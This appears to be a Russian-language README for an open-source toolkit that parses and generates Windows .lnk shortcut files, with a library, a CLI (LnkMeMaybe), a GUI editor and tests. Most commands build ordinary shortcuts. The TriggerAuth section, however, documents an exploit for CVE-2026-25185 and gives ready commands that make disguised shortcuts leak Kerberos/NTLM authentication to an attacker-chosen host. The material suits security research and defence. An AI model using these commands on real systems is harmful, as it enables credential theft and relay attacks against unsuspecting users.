
Инструменты для создания и исследования LNK-файлов
| Проект | Описание |
|---|
Lnk/ | Базовая библиотека. Разбирает и генерирует .lnk-файлы в бинарном формате в соответствии со спецификацией MS-SHLLINK. LnkHandler — основная точка входа, объединяющая ShellLinkHeader, LinkTargetIDList, LinkInfo, StringData и ExtraData. |
LnkMeMaybe/ | CLI-инструмент. Команды для генерации разнообразных .lnk-файлов. Использует фреймворк Titanis.Cli. |
LnkUi/ | Настольный редактор на Avalonia 11 с архитектурой MVVM. Семь ViewModel оборачивают соответствующие компоненты библиотеки Lnk. Полезен для ручного изучения и проверки .lnk-файлов. |
LnkTests/ | Набор тестов MSTest. Реальные образцы .lnk-файлов встроены в качестве ресурсов. Покрывает ShellLinkHeader и LinkInfo. |
Все команды используют следующие базовые параметры (из BaseSavedCommand):
| Параметр | Псевдоним | Обязательный | Описание |
|---|---|---|---|
--OutputPath | Да | Путь в файловой системе для записи .lnk-файла. | |
--Overwrite | Нет | Разрешает перезапись существующего файла по пути OutputPath. | |
--DisplayName | Нет | Текст, отображаемый при наведении курсора на ярлык. Поддерживает \n для перевода строки. | |
--IconPath / -I | -I | Нет | Путь к .exe- или .dll-файлу, используемому в качестве значка ярлыка. Должен существовать на целевой системе. |
--IconIndex | Нет | Индекс ресурса значка в файле, указанном через --IconPath. По умолчанию: 0. |
TriggerAuth (CVE-2026-25185)Создаёт .lnk-файл, который запускает аутентификацию Kerberos (с переходом на NTLM) к указанному серверу. Сам .lnk не выполняет никакого кода.
Сценарии, при которых запускается аутентификация:
.lnk, — учётная запись пользователя проходит исходящую аутентификацию..lnk размещён в месте, которое машина настроена индексировать, — SearchProtocolHost аутентифицируется как SYSTEM.MSSense.exe аутентифицируется как SYSTEM.Параметры:
| Параметр | Псевдоним | Обязательный | Описание |
|---|---|---|---|
--FakePath / -F | -F | Да | Путь, отображаемый как цель в свойствах .lnk. |
--Server / -S | -S | Да | Имя хоста сервера, IP-адрес или UNC-путь для отправки аутентификации. Добавляет IPC$, если общий ресурс не указан. |
--Darwin | Нет | Идентификатор Darwin, хранящийся в .lnk. Может быть любым значением. По умолчанию: unset. |
Примеры:
# Send authentication to \\controlled.example.org\IPC$ while posing as notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk
# Send authentication to a specific share path while posing as a folder shortcut
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
WebShortcutСоздаёт .lnk-файл, указывающий на веб-URL. Обычно Windows создаёт .url-файл для веб-ярлыков; эта команда вместо этого создаёт .lnk.
Параметры:
| Параметр | Обязательный | Описание |
|---|---|---|
--Url | Да | URL, на который должен указывать ярлык. Должен быть корректно сформированным абсолютным URI. |
Пример:
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
LocalShortcutСоздаёт стандартный ярлык Windows на локальный файл или папку. Путь к цели хранится в виде списка идентификаторов элементов оболочки (PIDL) — собственного формата, который Windows использует для ярлыков на элементы файловой системы.
Параметры:
| Параметр | Псевдоним | Обязательный | Описание |
|---|---|---|---|
--TargetPath | Да | Абсолютный путь к целевому файлу или папке. | |
--Arguments | Нет | Аргументы командной строки, передаваемые цели. | |
--WorkingDirectory | -W | Нет | Рабочий каталог целевого процесса. |
--RunAsAdmin | Нет | Запрашивать повышение прав UAC при запуске ярлыка. | |
--ShowCommand | Нет | Состояние окна при запуске: Normal, Maximized или Minimized. |
Примеры:
# Create a shortcut to Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk
# Shortcut with arguments and a custom icon
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe
# Shortcut that opens maximised and requests elevation
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
EnvShortcutСоздаёт .lnk, в котором путь к цели хранится в виде разворачиваемой строки с переменными окружения (EnvironmentVariableDataBlock). Это формат, который Windows использует для ярлыков на системные исполняемые файлы (например, %SystemRoot%\system32\notepad.exe). Переменные раскрываются в момент запуска, что делает ярлык переносимым между установками Windows.
Параметры:
| Параметр | Псевдоним | Обязательный | Описание |
|---|---|---|---|
--TargetPath | Да | Путь к цели; может включать переменные окружения, например %SystemRoot% или %USERPROFILE%. | |
--Arguments | Нет | Аргументы командной строки, передаваемые цели. | |
--WorkingDirectory | -W | Нет | Рабочий каталог целевого процесса. |
--RunAsAdmin | Нет | Запрашивать повышение прав UAC при запуске ярлыка. | |
--ShowCommand | Нет | Состояние окна при запуске: Normal, Maximized или Minimized. |
Примеры:
# Shortcut to Notepad using an environment variable path
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk
# Shortcut to a user-profile app with arguments
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
# Build (debug)
dotnet build Lnk.sln
# Build (release, core projects only)
dotnet build -c Release build.slnf
# Run all tests
dotnet test
# Run a specific test class
dotnet test --filter "ClassName=lnkHeader"
# Publish self-contained single-file executable (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
Готовые сборки для Windows, Linux и macOS (x64 и arm64) доступны на странице Релизы.
Каждый релиз включает сборки LnkMeMaybe и LnkUi в двух вариантах: автономные (не требуют среды выполнения .NET) и зависящие от платформы (требуют среду выполнения .NET 8).
ИИ-системы использовались для следующих задач:
Весь остальной код в этом репозитории был создан и проверен человеком.